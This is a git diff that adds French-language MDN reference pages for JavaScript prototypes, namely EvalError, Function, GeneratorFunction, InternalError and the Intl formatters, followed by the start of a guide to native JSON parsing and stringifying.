{{jsxref("Error.prototype.columnNumber", "EvalError.prototype.columnNumber")}}
+
Le numéro de la colonne dans la ligne du fichier qui a provoqué l'erreur. Propriété héritée de {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "EvalError.prototype.stack")}}
+
Pile d'appels. Propriété héritée de {{jsxref("Error")}}.
+
+ +

Méthodes

+ +

Bien que l'objet prototype EvalError ne possède pas de propriété propre, les instances de {{jsxref("EvalError")}} héritent de certaines méthodes via la chaîne de prototypes.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Défini comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Défini comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Défini comme NativeError.prototype.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.EvalError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype")}}
    • +
  • {{jsxref("Function.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/function/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/function/index.html new file mode 100644 index 0000000000..ff4a70e10f --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/function/index.html @@ -0,0 +1,99 @@ +--- +title: Function.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Function/prototype +tags: + - Function + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Function +translation_of_original: Web/JavaScript/Reference/Global_Objects/Function/prototype +--- +
{{JSRef}}
+ +

La propriété Function.prototype représente le prototype de l'objet {{jsxref("Function")}}.

+ +

Description

+ +

Les objets {{jsxref("Function")}} héritent de Function.prototype. Function.prototype ne peut pas être modifié.

+ +

Propriétés

+ +
+
{{jsxref("Function.arguments")}} {{deprecated_inline}}
+
Un tableau correspondant aux arguments passés à la fonction. Cette propriété est dépréciée et il est préférable d'utiliser l'objet {{jsxref("Fonctions/arguments", "arguments")}} à la place.
+
{{jsxref("Function.arity")}} {{obsolete_inline}}
+
Cette propriété était utilisée pour indiquer le nombre d'arguments attendus par la fonction. Cette propriété a été supprimée. La propriété {{jsxref("Function.length", "length")}} doit être utilisée à la place.
+
{{jsxref("Function.caller")}} {{non-standard_inline}}
+
Indique la fonction qui a appelée la fonction courante.
+
{{jsxref("Function.length")}}
+
Indique le nombre d'arguments attendus par la fonction.
+
{{jsxref("Function.name")}}
+
Le nom de la fonction.
+
{{jsxref("Function.displayName")}} {{non-standard_inline}}
+
Le nom de la fonction à utiliser pour l'affichage.
+
Function.prototype.constructor
+
Définit la fonction qui crée le prototype de l'objet. Voir la page {{jsxref("Object.prototype.constructor")}} pour plus de détails.
+
+ +

Méthodes

+ +
+
{{jsxref("Function.prototype.apply()")}}
+
Cette méthode applique la fonction et pour cette fonction, this sera la valeur passée en argument (l'objet manipulé peut ainsi être différent de l'objet courant). Les arguments peuvent être passés grâce à un objet {{jsxref("Array")}}.
+
{{jsxref("Function.prototype.bind()")}}
+
Cette méthode crée un nouvelle fonction qui, lorsqu'elle est appelée, appelle cette fonction dans le contexte de la valeur fournie avec une suite d'arguments à utiliser avant ceux fournis à la nouvelle fonction.
+
{{jsxref("Function.prototype.call()")}}
+
Cette méthode applique la fonction, et pour cette fonction, this sera la valeur passée en premier arguments. Les arguments peuvent être passés tels quels dans les arguments suivants.
+
{{jsxref("Function.prototype.isGenerator()")}} {{non-standard_inline}}
+
Cette méthode renvoie true si la fonction est un générateur ; sinon elle renvoie false.
+
{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}}
+
Cette méthode renvoie une chaîne de caractères représentant le code source de la fonction. Elle surcharge la méthode {{jsxref("Object.prototype.toSource")}}.
+
{{jsxref("Function.prototype.toString()")}}
+
Cette méthode renvoie une chaîne de caractères représentant le code source de la fonction. Elle surcharge la méthode {{jsxref("Object.prototype.toString")}}.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.3.5.2', 'Function.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function-instances-prototype','Function.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-function-instances-prototype', 'Function.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Function")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html new file mode 100644 index 0000000000..1a23ca8eb5 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html @@ -0,0 +1,67 @@ +--- +title: GeneratorFunction.prototype +slug: Web/JavaScript/Reference/Objets_globaux/GeneratorFunction/prototype +tags: + - ECMAScript 2015 + - GeneratorFunction + - Iterator + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction +translation_of_original: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype +--- +
{{JSRef}}
+ +

La propriété GeneratorFunction.prototype représente le prototype de l'objet {{jsxref("GeneratorFunction")}}.

+ +

Description

+ +

Les objets {{jsxref("GeneratorFunction")}} héritent de GeneratorFunction.prototype. GeneratorFunction.prototype ne peut pas être modifié.

+ +

Propriétés

+ +
+
GeneratorFunction.constructor
+
La valeur initiale correspond à {{jsxref("GeneratorFunction")}}.
+
GeneratorFunction.prototype.prototype
+
La valeur est %GeneratorPrototype%.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES2015', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.GeneratorFunction.prototype")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("GeneratorFunction")}}
    • +
  • {{jsxref("Function")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/internalerror/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/internalerror/index.html new file mode 100644 index 0000000000..7d44d99002 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/internalerror/index.html @@ -0,0 +1,63 @@ +--- +title: InternalError.prototype +slug: Web/JavaScript/Reference/Objets_globaux/InternalError/prototype +tags: + - Error + - InternalError + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/InternalError +translation_of_original: Web/JavaScript/Reference/Global_Objects/InternalError/prototype +--- +
{{JSRef}} {{non-standard_header}}
+ +

La propriété InternalError.prototype représente le prototype du constructeur {{jsxref("InternalError")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Toutes les instances de {{jsxref("InternalError")}} héritent de {{jsxref("InternalError.prototype")}}. Ce prototype peut être utilisé pour ajouter des propriétés et/ou des méthodes à toutes les instances.

+ +

Propriétés

+ +
+
InternalError.prototype.constructor
+
Définit la fonction qui permet de créer une instance du prototype.
+
{{jsxref("Error.prototype.message", "InternalError.prototype.message")}}
+
Un nom d'erreur. Bien que ECMA-262 spécifie que InternalError devrait fournir une propriété propre pour message. L'implémentation de SpiderMonkey fait que cette propriété est héritée via {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "InternalError.prototype.name")}}
+
Un nom d'erreur. Hérité via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "InternalError.prototype.fileName")}}
+
Le chemin du fichier à l'origine de l'erreur. Héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "InternalError.prototype.lineNumber")}}
+
Le numéro de la ligne dans le fichier pour le code qui a déclenché l'erreur. Héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "InternalError.prototype.columnNumber")}}
+
Le numéro de la colonne dans la ligne du fichier pour le code qui a déclenché l'erreur. Héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "InternalError.prototype.stack")}}
+
Pile d'appels (stack trace). Héritée via {{jsxref("Error")}}.
+
+ +

Méthodes

+ +

Bien que l'objet prototype InternalError ne contienne aucune méthode qui lui soit propre, les instances de {{jsxref("InternalError")}} héritent de méthodes grâce à la chaîne de prototypes.

+ +

Spécifications

+ +

Cette propriété ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.InternalError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype")}}
    • +
  • {{jsxref("Function.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/intl/collator/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/intl/collator/index.html new file mode 100644 index 0000000000..b523b88842 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/intl/collator/index.html @@ -0,0 +1,81 @@ +--- +title: Intl.Collator.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/prototype +tags: + - Collator + - Internationalisation + - Intl + - JavaScript + - Propriété + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator +translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/Collator/prototype +--- +
{{JSRef}}
+ +

La propriété Intl.Collator.prototype représente l'objet prototype du constructeur {{jsxref("Collator", "Intl.Collator")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Voir la page {{jsxref("Collator")}} pour une description appliquée aux instances de Intl.Collator.

+ +

Les instances de Intl.Collator héritent de Intl.Collator.prototype. Les modifications apportées à l'objet prototype sont propagées sur toutes les instances de Intl.Collator via l'héritage (chaîne de prototypes).

+ +

Propriétés

+ +
+
Intl.Collator.protoype.constructor
+
Une référence vers {{jsxref("Collator")}}.
+
+ +

Méthodes

+ +
+
{{jsxref("Collator.compare", "Intl.Collator.prototype.compare")}}
+
Un accesseur qui renvoie une fonction comparant deux chaînes de caractères, basée sur l'ordre de tri de l'objet {{jsxref("Objets_globaux/Collator", "Intl.Collator")}}.
+
{{jsxref("Collator.resolvedOptions", "Intl.Collator.prototype.resolvedOptions()")}}
+
Renvoie un nouvel objet dont les propriétés correspondent aux options de collation et de locales calculées lors de l'initialisation de l'objet.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES Int 1.0', '#sec-10.2.1', 'Intl.Collator.prototype')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-10.2.1', 'Intl.Collator.prototype')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.Collator.prototype', 'Intl.Collator.prototype')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.Collator.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Collator", "Intl.Collator")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html new file mode 100644 index 0000000000..39e6679295 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html @@ -0,0 +1,82 @@ +--- +title: Intl.DateTimeFormat.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/prototype +tags: + - Internationalisation + - Intl + - JavaScript + - Propriété + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat +translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype +--- +
{{JSRef}}
+ +

La propriété Intl.DateTimeFormat.prototype représente le prototype du constructeur {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Voir la page {{jsxref("DateTimeFormat")}} qui décrit les instances de Intl.DateTimeFormat.

+ +

Les instances de {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} héritent de Intl.DateTimeFormat.prototype. Les modifications apportées à l'objet prototype sont propagées sur toutes les instances de  Intl.DateTimeFormat par héritage.

+ +

Propriétés

+ +
+
Intl.DateTimeFormat.prototype.constructor
+
Une référence à Intl.DateTimeFormat.
+
+ +

Méthodes

+ +
+
{{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format")}}
+
Un accesseur qui renvoie une fonction formattant une date selon les options de format et de locale spécifiées pour l'objet DateTimeFormat.
+
{{jsxref("DateTimeFormat.formatToParts","Intl.DateTimeFormat.prototype.formatToParts()")}}
+
Renvoie un tableau d'objets qui représentent les composants de la date sous forme de chaînes de caractères afin que celles-ci puissent être utilisée dans une mise en forme adaptée à la locale.
+
{{jsxref("DateTimeFormat.resolvedOptions", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}
+
Renvoie un nouvel objet dont les propriétés indiquent les options de format et de locale calculées lors de l'initialisation de l'objet.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES Int 1.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.DateTimeFormat.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/intl/listformat/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/intl/listformat/index.html new file mode 100644 index 0000000000..1aab6a459d --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/intl/listformat/index.html @@ -0,0 +1,63 @@ +--- +title: Intl.ListFormat.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/prototype +tags: + - Experimental + - Intl + - Intl.ListFormat + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat +translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/prototype +--- +
{{JSRef}}
+ +

La propriété Intl.ListFormat.prototype représente l'objet prototype utilisé par le constructeur {{jsxref("ListFormat", "Intl.ListFormat")}}.

+ +

{{js_property_attributes(0, 0, 0)}}

+ +

Description

+ +

Voir la page {{jsxref("ListFormat")}} pour une description des instances de Intl.ListFormat.

+ +

Les instances {{jsxref("ListFormat", "Intl.ListFormat")}} héritent de Intl.ListFormat.prototype. Les modifications apportées au prototypes seront héritées par les instances {{jsxref("ListFormat", "Intl.ListFormat")}}.

+ +

Propriétés

+ +
+
Intl.ListFormat.prototype.constructor
+
Une référence à {{jsxref("ListFormat", "Intl.ListFormat()")}}.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.ListFormat.prototypeProposition de niveau 3 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.ListFormat.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("ListFormat", "Intl.ListFormat")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/intl/locale/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/intl/locale/index.html new file mode 100644 index 0000000000..cc22f45a17 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/intl/locale/index.html @@ -0,0 +1,91 @@ +--- +title: Intl.Locale.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/prototype +tags: + - Internationalisation + - Intl + - JavaScript + - Locale + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale +translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/Locale/prototype +--- +

{{JSRef}}

+ +

La propriété Intl.Locale.prototype représente le prototype pour le constructeur {{jsxref("Locale", "Intl.Locale")}}.

+ +

{{js_property_attributes(0, 0, 0)}}

+ +

Description

+ +

Voir la page {{jsxref("Locale")}} pour en savoir plus sur les instances Intl.Locale.

+ +

Les instances de {{jsxref("Locale", "Intl.Locale")}} héritent de Intl.Locale.prototype. Les modifications apportées au prototype sont héritées par l'ensemble des instances {{jsxref("Locale", "Intl.Locale")}}.

+ +

Propriétés

+ +
+
{{jsxref("Locale/baseName", "Intl.Locale.prototype.baseName")}}
+
Renvoie un extrait de la chaîne de caractères représentant l'objet Locale. Cet extrait contient les informations essentielles à propos de l'objet Locale.
+
{{jsxref("Locale/calendar", "Intl.Locale.prototype.calendar")}}
+
Renvoie le type de calendrier utilisé par l'instance de Locale.
+
{{jsxref("Locale/collation", "Intl.Locale.prototype.collation")}}
+
Renvoie le type de collation pour l'instance de Locale courante. La collation est la méthode qui permet d'ordonner des chaînes de caractères en fonction des règles de la locale.
+
{{jsxref("Locale/hourCycle", "Intl.Locale.prototype.hourCycle")}}
+
Renvoie la convention pour le format des heures utilisée par la locale courante.
+
{{jsxref("Locale/caseFirst", "Intl.Locale.prototype.caseFirst")}}
+
Renvoie si la casse est prise en compte par la locale pour ses règles de collation (celles qui permettent d'ordonner des chaînes de caractères entre elles).
+
{{jsxref("Locale/numeric", "Intl.Locale.prototype.numeric")}}
+
Indique si la locale possède une collation spécifique pour les caractères numériques (la collation étant la méthode qui permet d'ordonner des chaînes de caractères entre elles).
+
{{jsxref("Locale/numberingSystem", "Intl.Locale.prototype.numberingSystem")}}
+
Renvoie le système de numération utilisée par la locale.
+
{{jsxref("Locale/language", "Intl.Locale.prototype.language")}}
+
Renvoie la langue associée à la locale.
+
{{jsxref("Locale/script", "Intl.Locale.prototype.script")}}
+
Renvoie le script utilisé pour l'écriture d'une langue donnée pour la locale courante.
+
{{jsxref("Locale/region", "Intl.Locale.prototype.region")}}
+
Renvoie la région du monde (il s'agit généralement d'un pays) associée à la locale courante.
+
+ +

Méthodes

+ +
+
{{jsxref("Locale/minimize", "Intl.Locale.prototype.minimize()")}}
+
Cette méthode tente de retirer les informations qui auraient pu être ajoutée à une locale lors d'un appel à {{jsxref("Locale/maximize", "Locale.maximize()")}}.
+
{{jsxref("Locale/maximize", "Intl.Locale.prototype.maximize()")}}
+
Cette méthode permet d'obtenir les valeurs les plus vraisemblantes pour la langue, le script et la région de la locale en fonction des valeurs existantes.
+
{{jsxref("Locale/toString", "Intl.Locale.prototype.toString()")}}
+
Cette méthode renvoie l'identifiant de locale complet pour la locale courante.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototypeProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.Locale.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Locale", "Intl.Locale")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/intl/numberformat/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/intl/numberformat/index.html new file mode 100644 index 0000000000..7627a01670 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/intl/numberformat/index.html @@ -0,0 +1,83 @@ +--- +title: Intl.NumberFormat.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/prototype +tags: + - Internationalisation + - Intl + - JavaScript + - NumberFormat + - Propriété + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat +translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/prototype +--- +
{{JSRef}}
+ +

La propriété Intl.NumberFormat.prototype représente l'objet prototype pour le constructeur {{jsxref("NumberFormat", "Intl.NumberFormat")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Voir la page {{jsxref("NumberFormat", "Intl.NumberFormat")}} pour une description des instances de Intl.NumberFormat.

+ +

Les instances de Intl.NumberFormat héritent de Intl.NumberFormat.prototype. Les modifications apportées à l'objet prototype seront propagées par héritage aux instances  Intl.NumberFormat.

+ +

Propriétés

+ +
+
Intl.NumberFormat.prototype.constructor
+
Une référence à Intl.NumberFormat.
+
+ +

Méthodes

+ +
+
{{jsxref("NumberFormat.format", "Intl.NumberFormat.prototype.format")}}
+
Un accesseur qui renvoie une fonction permettant de formater un nombre en fonction des options de locale et de format définies dans un objet NumberFormat.
+
{{jsxref("NumberFormat.formatToParts", "Intl.NumberFormat.prototype.formatToParts()")}}
+
Cette méthode renvoie un tableau ({{jsxref("Array")}}) d'objets qui représentent les fragments de la chaîne de caractères correspondant au nombre afin de l'utiliser pour des mises en formes prenant en compte la locale de l'utilisateur.
+
{{jsxref("NumberFormat.resolvedOptions", "Intl.NumberFormat.prototype.resolvedOptions()")}}
+
Cette méthode renvoie un nouvel objet dont les propriétés correspondent aux options de locale et de collation calculées lors de l'initialisation de l'objet.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-11.2.1', 'Intl.NumberFormat.prototype')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-11.2.1', 'Intl.NumberFormat.prototype')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype', 'Intl.NumberFormat.prototype')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.NumberFormat.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/intl/pluralrules/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/intl/pluralrules/index.html new file mode 100644 index 0000000000..6674890eb1 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/intl/pluralrules/index.html @@ -0,0 +1,71 @@ +--- +title: Intl.PluralRules.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/prototype +tags: + - Internationalisation + - Intl + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules +translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules/prototype +--- +
{{JSRef}}
+ +

La propriété Intl.PluralRules.prototype représente le prototype du constructeur {{jsxref("PluralRules", "Intl.PluralRules")}}.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Description

+ +

Voir {{jsxref("PluralRules")}} pour la description des instances Intl.PluralRules.

+ +

Les instances de {{jsxref("PluralRules", "Intl.PluralRules")}} héritent de Intl.PluralRules.prototype. Les modifications apportées au prototype seront héritées par l'ensemble des instances de {{jsxref("PluralRules", "Intl.PluralRules")}}.

+ +

Propriétés

+ +
+
Intl.PluralRules.prototype.constructor
+
Une référence à Intl.PluralRules.
+
+ +

Méthodes

+ +
+
{{jsxref("PluralRules.resolvedOptions", "Intl.PluralRules.prototype.resolvedOptions()")}}
+
Cette méthode renvoie un nouvelle objet dont les propriétés reflètent la locale et les options de collations calculées lors de l'initialisation de l'objet.
+
{{jsxref("PluralRules.select", "Intl.PluralRules.prototype.select()")}}
+
Cette méthode renvoie une chaîne de caractères ({{jsxref("String")}}) qui indique quelle forme de règle de nombre est utilisée pour le formatage.
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Brouillon pour les règles de nombre avec IntlBrouillonDéfinition initiale.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Intl.PluralRules.prototype")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("PluralRules", "Intl.PluralRules")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/intl/relativetimeformat/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/intl/relativetimeformat/index.html new file mode 100644 index 0000000000..9e212403c3 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/intl/relativetimeformat/index.html @@ -0,0 +1,73 @@ +--- +title: Intl.RelativeTimeFormat.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/prototype +tags: + - Internationalisation + - Intl + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat +translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/prototype +--- +
{{JSRef}}
+ +

La propriété Intl.RelativeTimeFormat.prototype représente l'objet prototype utilisé par le constructeur {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}.

+ +

{{js_property_attributes(0, 0, 0)}}

+ +

Description

+ +

Voir {{jsxref("RelativeTimeFormat")}} pour une description des instances Intl.RelativeTimeFormat.

+ +

Les instances {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}} héritent de Intl.RelativeTimeFormat.prototype. Les modifications apportées au prototype seront héritées par l'ensemble des instances {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}.

+ +

Propriétés

+ +
+
Intl.RelativeTimeFormat.prototype.constructor
+
Une référence à Intl.RelativeTimeFormat.
+
+ +

Méthodes

+ +
+
{{jsxref("RelativeTimeFormat.format", "Intl.RelativeTimeFormat.prototype.format()")}}
+
Une méthode qui formate une valeur, accompagnée d'une unité selon des options de locales et de formatage stockées dans l'objet Intl.RelativeTimeFormat.
+
{{jsxref("RelativeTimeFormat.formatToParts", "Intl.RelativeTimeFormat.prototype.formatToParts()")}}
+
Une méthode qui formate une valeur comme la méthode format() mais qui renvoie un tableau ({{jsxref("Array")}}) contenant les différentes parties de la valeur formatée.
+
{{jsxref("RelativeTimeFormat.resolvedOptions", "Intl.RelativeTimeFormat.prototype.resolvedOptions()")}}
+
Une méthode qui renvoie un objet dont les propriétés indique les options de locale et de formatage calculées lors de l'initialisation du formateur.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.RelativeTimeProposition de niveau 3 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.RelativeTimeFormat.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/json/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/json/index.html new file mode 100644 index 0000000000..a70dfee208 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/json/index.html @@ -0,0 +1,100 @@ +--- +title: Utiliser le JSON natif +slug: Web/JavaScript/Guide/Utiliser_le_JSON_natif +tags: + - Add-ons + - Advanced + - ECMAScript5 + - Extensions + - JSON + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/JSON +translation_of_original: Web/JavaScript/Guide/Using_native_JSON +--- +

{{jsSidebar("JavaScript Guide")}}

+ +

Cet article aborde l'objet JSON natif conforme à ECMAScript 5 qui a été ajouté à Gecko 1.9.1. Pour consulter les informations de base sur l'utilisation de JSON dans les versions précédentes de Firefox, consulter la page JSON.

+ +

L'objet natif JSON possède deux méthodes clés. La méthode JSON.parse() qui analyse une chaîne de caractères JSON et qui reconstruit l'objet JavaScript original. La méthode JSON.stringify(), quant à elle, accepte un objet JavaScript et renvoie son équivalent JSON.

+ +
Note : JSON ne supporte pas les structures cycliques. Toute tentative de conversion d'une telle structure renverra une exception TypeError.
+ +

Analyser (parser) les chaînes JSON

+ +

Afin de convertir une chaîne JSON en un objet JavaScript, il suffit de passer une chaîne JSON à la méthode JSON.parse() :

+ +
var objetJS = JSON.parse(chaineJSON);
+ +
+

À partir de JavaScript 1.8.5 (Firefox 4), JSON.parse() n'accepte pas les virgules en fin de chaîne

+
+ +
// ces deux instructions renverront une exception SyntaxError
+// à partir de JavaScript 1.8.5
+var objetJS = JSON.parse("[1, 2, 3, 4, ]");
+var objetJS = JSON.parse("{ \"toto\" : 1, }");
+
+ +

Convertir les objets en JSON

+ +

Afin de convertir un objet JavaScript en une chaîne JSON, il suffit de passer l'objet à la méthode JSON.stringify() :

+ +
var toto = {};
+toto.truc = "nouvelle propriété";
+toto.machin = 3;
+
+var chaineJSON = JSON.stringify(toto);
+
+ +

chaineJSON contient désormais '{"truc":"nouvelle propriété","machin":3}'.

+ +

Depuis Firefox 3.5.4, JSON.stringify() permet d'adapter la conversion grâce à des paramètres optionnels. La syntaxe est la suivante :

+ +

chaineJSON = JSON.stringify(valeur [, remplacement [, espace]])remplacement

+ +
+
valeur
+
L'objet JavaScript à convertir en une chaîne JSON.
+
remplacement
+
